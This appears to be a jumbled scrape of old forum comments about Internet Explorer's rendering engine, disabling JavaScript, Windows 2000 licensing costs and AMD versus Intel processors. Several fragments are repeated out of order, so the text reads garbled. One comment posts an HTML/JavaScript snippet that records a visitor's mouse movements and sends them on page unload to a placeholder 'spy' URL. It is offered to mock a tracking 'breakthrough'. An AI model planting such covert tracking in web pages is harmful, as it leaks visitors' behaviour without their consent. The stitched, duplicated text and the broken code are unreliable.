I wonder if it's possible to write an app that uses MS's rendering engine
Aol.
Or write one yourself. Seriously. It's well documented. I did one in a half hour. You basically host shdocvw.dll as an ActiveX control within your app, and you can have conplete control over its behaviour.
Or, if you don't feel so inclined, clickity this : Tools/Internet Options/Security/Custom Level/Scripting/Active Scripting/Disable. Micros~1 were never stupid enough to disable disabling JavaScript. They just left it on by default. You can enable/disbale JavaScript/anything else etc on a site by site basis, by putting them into four security zones, which you can choose the level of security on each.
The 'breakthrough' nothing more than
<script>
var movements = new Array();
</script>
<body onMouseMove='movements.push(event.clientX); movements.push(event.clientY);' onUnLoad='window.open"http://some.random.spamhaus/ spy?movements=" + movements'>
1000 copies of Windows 2000, paid for by the Microsoft department that wants to move to it:$250*1000=$250000
1000 copies of Windows 2000, paid into sales:£250*1000=$250000.
>How long did AMD and Intel think they could keep
>on going pushing overclocked POS chips out the
>door?
The fact is that AMD chips are not overclocked. They're merely able to run at higher speeds. Stably. The Intel chips are not. Their instability problems are the sign of an overclocked core that simply cannot handle the speed. The fact that they run perfectly at 850Mhz proves this.
However, the AMD chips are reliable at 1100MHz. Unlike Intel. And they're far cheaper. So guess which processor I'm buying?
Clue: doesn't rhyme with 'Dentium Free'.
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Sorry, been using Java lately.
s/onMouseMove/onMouseOver/
I wonder if it's possible to write an app that uses MS's rendering engine
/ spy?movements=" + movements'>
Aol.
Or write one yourself. Seriously. It's well documented. I did one in a half hour. You basically host shdocvw.dll as an ActiveX control within your app, and you can have conplete control over its behaviour.
Or, if you don't feel so inclined, clickity this : Tools/Internet Options/Security/Custom Level/Scripting/Active Scripting/Disable. Micros~1 were never stupid enough to disable disabling JavaScript. They just left it on by default. You can enable/disbale JavaScript/anything else etc on a site by site basis, by putting them into four security zones, which you can choose the level of security on each.
The 'breakthrough' nothing more than
<script>
var movements = new Array();
</script>
<body onMouseMove='movements.push(event.clientX); movements.push(event.clientY);' onUnLoad='window.open"http://some.random.spamhaus
Quick bit of maths here.
:$250*1000=$250000
1000 copies of Windows 2000, paid for by the Microsoft department that wants to move to it
1000 copies of Windows 2000, paid into sales:£250*1000=$250000.
Net cost:$250000=$250000=$0.
As far as I'm aware, $0 means free.
>How long did AMD and Intel think they could keep >on going pushing overclocked POS chips out the >door? The fact is that AMD chips are not overclocked. They're merely able to run at higher speeds. Stably. The Intel chips are not. Their instability problems are the sign of an overclocked core that simply cannot handle the speed. The fact that they run perfectly at 850Mhz proves this. However, the AMD chips are reliable at 1100MHz. Unlike Intel. And they're far cheaper. So guess which processor I'm buying? Clue: doesn't rhyme with 'Dentium Free'.